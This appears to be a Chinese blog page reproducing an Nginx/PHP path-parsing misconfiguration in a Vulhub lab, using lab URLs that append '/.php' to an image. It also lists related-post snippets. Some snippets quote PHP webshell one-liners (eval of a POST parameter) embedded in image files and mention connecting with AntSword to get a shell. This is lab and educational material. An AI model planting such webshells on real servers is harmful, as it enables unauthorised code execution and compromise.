Nginx 解析漏洞复现

最新推荐文章于 2024-06-05 09:06:29 发布
原创 最新推荐文章于 2024-06-05 09:06:29 发布 · 4.6k 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#docker #linux

本文介绍了Nginx解析漏洞的复现过程，该漏洞源于用户配置错误，而非Nginx或PHP版本问题。通过示例URL展示如何利用此漏洞，包括对图片文件后缀添加.php来尝试执行PHP代码，强调了正确配置服务器的重要性。

Nginx 解析漏洞复现

该漏洞与Nginx、php版本无关，属于用户配置不当造成的解析漏洞
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
http://192.168.15.136/uploadfiles/nginx.png
在这里插入图片描述
http://192.168.15.136/uploadfiles/nginx.png/.php
在这里插入图片描述
在这里插入图片描述
http://192.168.15.136/123.jpg
在这里插入图片描述http://192.168.15.136/123.jpg

最低0.47元/天 解锁文章
记录笔记
关注
nginx解析漏洞复现
weixin_60719780的博客
12-05 1592
这里我是部署了vulhub靶场直接执行启动容器，无需编译。（不受php、nginx的版本限制）（1）php解析配置文件php.ini中参数cgi.fix_pathinfo设置为1（2）php-fpmConf中security.limit_extension参数为空或为错误的解析后缀（3）nginx网页具有文件上传点Cgi.fix_pathinfo为php-fpm对错误路径进行修复Security.limit_extension为php-fpm支持的后缀代码解析例如：“1.jpg/a.php“,a.php为不
Nginx解析漏洞复现
她叫常玉莹
07-27 568
使用vulnhub docker环境 访问http://192.168.0.104/uploadfiles/nginx.png 添加/.php后缀就可以解析成php文件 http://192.168.0.104/index.php可以进行上传。利用解析漏洞上传图片马getshell 上传一张png格式的图片马，查看图片并能解析php文件 利用蚁剑连接webshell 修复方法： 在/usr/local/nginx/conf/fastcgi_params中添加以下 if ($request_filena
NGINX解析漏洞复现
qq_45862635的博客
04-21 5141
版本信息： Nginx 1.x 最新版 PHP 7.x最新版 由此可知，该漏洞与Nginx、php版本无关，属于用户配置不当造成的解析漏洞。 漏洞复现： 在nginx/nginx_parsing_vulnerability目录下直接执行sudo docker-compose up -d启动环境 访问localhost/uploadfiles/nginx.png查看搭建效果 访问localhost/uploadfiles/nginx.png/.php 在添加/.php后，图片被解析成php文件，这
网络安全03---Nginx 解析漏洞复现
m0_68976043的博客
01-27 902
ubentu虚拟机，docker环境，vulhub-master环境包（资源已上传）
Nginx 解析漏洞复现及利用
Tauil的博客
07-20 8278
Nginx解析漏洞该解析漏洞是PHPCGI的漏洞，在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认开启，当URL中有不存在的文件，PHP就会向前递归解析在一个文件路径（/xx.jpg）后面加上/xx.php会将/xx.jpg解析为php文件。来上传我们的文件，很显然，不给上传，东西写进去文件被破坏了，被检验出不是正常的jpg不能上传了，可能有些朋友就成功了，因为第一次的时候我是可以的，现在应该是写的内容太多了，出了问题。phpeval($_POST["cmd"]);...
Nginx 文件解析漏洞的复现
qq_42754807的博客
05-28 913
nginx文件解析漏洞的修复
Nginx解析漏洞测试
09-19
Nginx是一款高性能的web服务器，使用非常广泛，其不仅经常被用作反向代理，也可以非常好的支持PHP的运行。默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析，这将导致严重的安全问题，使得恶意的攻击者可能攻陷支持php的nginx服务器。
Nginx漏洞解析及复现
A526847的博客
06-05 4682
开启这一选项有什么用呢？看名字就知道是对文件路径进行“修理”。举个例子，当php遇到 文件路径“/aaa.xxx/bbb.yyy/ccc.zzz”时，若“/aaa.xxx/bbb.yyy/ccc.zzz”不存在，则会去掉最后的 “/ccc.zzz”，然后判断“/aaa.xxx/bbb.yyy”是否存在，若存在，则把“/aaa.xxx/bbb.yyy”当做文件 “/aaa.xxx/bbb.yyy/ccc.zzz”，若“/aaa.xxx/bbb.yyy”仍不存在，则继续去掉“/bbb.yyy”，以此类推。
nginx参数解析漏洞复现
afei001
04-16 5410
目录 1.漏洞概述 2.影响版本 3.漏洞等级 4.漏洞复现 4.1 搭建漏洞环境 4.1 参数解析漏洞复现 5.漏洞修复 1.漏洞概述 该参数解析漏洞与CVE-2013-4547有点像。由于配置不当，导致上传的图片加上“/ .php”即可执行图片中的php代码。 2.影响版本 漏洞是由于配置不当导致，与版本无关。 3.漏洞等级 高危 4.漏洞复现 4.1 搭建漏洞环境 [root@server nginx_p...
Nginx 文件解析漏洞复现
wutiangui的博客
09-14 629
Nginx文件解析漏洞算是一个比较经典的漏洞，接下来我们就通过如下步骤进行漏洞复现，以及进行漏洞的修复。使用界面的上传功能上传一个jpg图片马，jpg内容是@eval($_POST[“fname”]);访问：http://192.168.25.128/uploadfiles/nginx.png。然后我们输入/.php，可以发现并没有出现文件为找到，而是出现了php的配置信息。版本条件：IIS 7.0/IIS 7.5/ Nginx
Nginx最新漏洞复现
最新发布
07-25
嗯，用户这次的问题是关于Nginx最新漏洞复现的步骤和测试方法，看来ta对网络安全很感兴趣，可能是安全工程师或渗透测试人员。从之前的对话看，用户已经研究过Nginx的目录穿越漏洞(CVE-2013-4547)和文件解析漏洞，...
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值